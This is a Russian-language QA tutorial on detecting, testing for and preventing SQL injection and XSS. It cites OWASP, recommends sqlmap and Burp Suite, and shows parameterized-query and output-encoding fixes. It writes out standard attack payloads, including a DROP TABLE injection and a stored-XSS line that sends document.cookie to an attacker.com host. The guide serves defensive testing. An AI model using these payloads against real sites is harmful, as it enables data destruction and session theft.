SQL injection и XSS остаются наиболее эксплуатируемыми уязвимостями веб-приложений: по данным OWASP Top 10 2021, injection-атаки (A03) затрагивают 94% тестируемых приложений, а XSS обнаруживается в 41% веб-приложений при оценке безопасности. Verizon DBIR 2024 сообщает, что 40% подтверждённых утечек данных связаны с атаками на веб-приложения, причём SQL injection — один из ведущих векторов. Несмотря на десятилетия осведомлённости, эти уязвимости сохраняются, потому что разработчики смешивают пользовательский ввод с логикой запросов. Для QA-команд тестирование на SQL injection и XSS должно быть частью каждого спринта — как в виде ручных исследовательских проверок, так и автоматизированных DAST-сканов в CI/CD. Это руководство охватывает техники обнаружения, ручное тестирование с пейлоадами, автоматизированные инструменты и паттерны предотвращения.

TL;DR: SQL injection и XSS остаются в OWASP Top 10, потому что их легко допустить и сложно полностью устранить. Тестируй одинарными кавычками и тегами script во всех полях ввода, используй sqlmap и Burp Suite для автоматизированного сканирования, проверяй параметризованные запросы и экранирование вывода при ревью кода.

SQL (как обсуждается в OWASP ZAP Automation: Security Scanning in CI/CD) Injection и Cross-Site Scripting (XSS) остаются среди наиболее критичных уязвимостей веб-приложений. Понимание того, как обнаруживать, тестировать и предотвращать эти атаки, необходимо для специалистов QA.

SQL Injection

Типы SQL Injection

1. Классическая SQL Injection

SELECT * FROM users WHERE username = '$username'

-- Payload атаки
username: admin' OR '1'='1

2. Слепая SQL Injection

admin' AND SLEEP(5)--
admin' AND 1=1--

Тестирование

Ручные Payloads:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--

Предотвращение

# Плохо
query = f"SELECT * FROM users WHERE id = {user_id}"

# Хорошо: Параметризованные запросы
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))

Cross-Site Scripting (XSS)

Типы XSS

1. Reflected XSS

<script>alert('XSS')</script>

2. Stored XSS

<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>

Тестирование

<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>

Предотвращение

// Плохо
element.innerHTML = userInput;

// Хорошо
element.textContent = userInput;

// CSP
Content-Security-Policy: default-src 'self'

«SQL injection и XSS — не экзотические атаки, а банальные последствия того, что команды пропускают валидацию ввода. Задача QA — находить их раньше атакующих, каждый спринт, а не только на аудитах безопасности.» — Yuri Kan, Senior QA Lead

Заключение

SQL Injection и XSS — критичные уязвимости, требующие активного тестирования. Используйте комбинацию ручного и автоматизированного тестирования, реализуйте правильную валидацию и непрерывно мониторьте.

FAQ

Что такое SQL injection и как тестировать на его наличие?

SQL injection происходит, когда пользовательский ввод включается в SQL-запрос без валидации. Тестируй вставкой пейлоадов: ', OR 1=1--, UNION SELECT. По данным OWASP Testing Guide v4.2, injection — наивысший приоритет при тестировании безопасности. Используй sqlmap для автоматизации и Burp Suite для ручного тестирования.

В чём разница между stored XSS и reflected XSS?

Reflected XSS: скрипт в URL возвращается в ответе немедленно, требует социальной инженерии. Stored XSS: скрипт сохраняется в БД и выполняется для каждого пользователя страницы — значительно выше импакт. DOM-based XSS манипулирует DOM на стороне клиента. Подробные лабораторные работы по всем типам — на PortSwigger Web Security Academy.

Какие инструменты используются для тестирования SQL injection и XSS?

sqlmap — автоматизированный сканер SQL injection; Burp Suite — ручное прокси-тестирование; OWASP ZAP — бесплатный автоматизированный сканер; DevTools браузера для ручного ввода пейлоадов. Для CI/CD — DAST-инструменты (ZAP) встраиваются в пайплайны.

Как предотвратить SQL injection в современных приложениях?

Используй параметризованные запросы — никогда не конкатенируй пользовательский ввод в SQL. Применяй ORM с параметризацией, валидируй ввод, используй БД-аккаунты с минимальными привилегиями, настрой WAF. Django, Rails, Hibernate обрабатывают параметризацию автоматически при правильном использовании.

Официальные ресурсы

  • OWASP Top 10 2021 — актуальный список критических уязвимостей веб-приложений
  • OWASP Testing Guide v4.2 — методология тестирования безопасности
  • sqlmap — автоматизированный обнаружитель SQL injection
  • PortSwigger Web Security Academy — бесплатные лабораторные по XSS и injection

See Also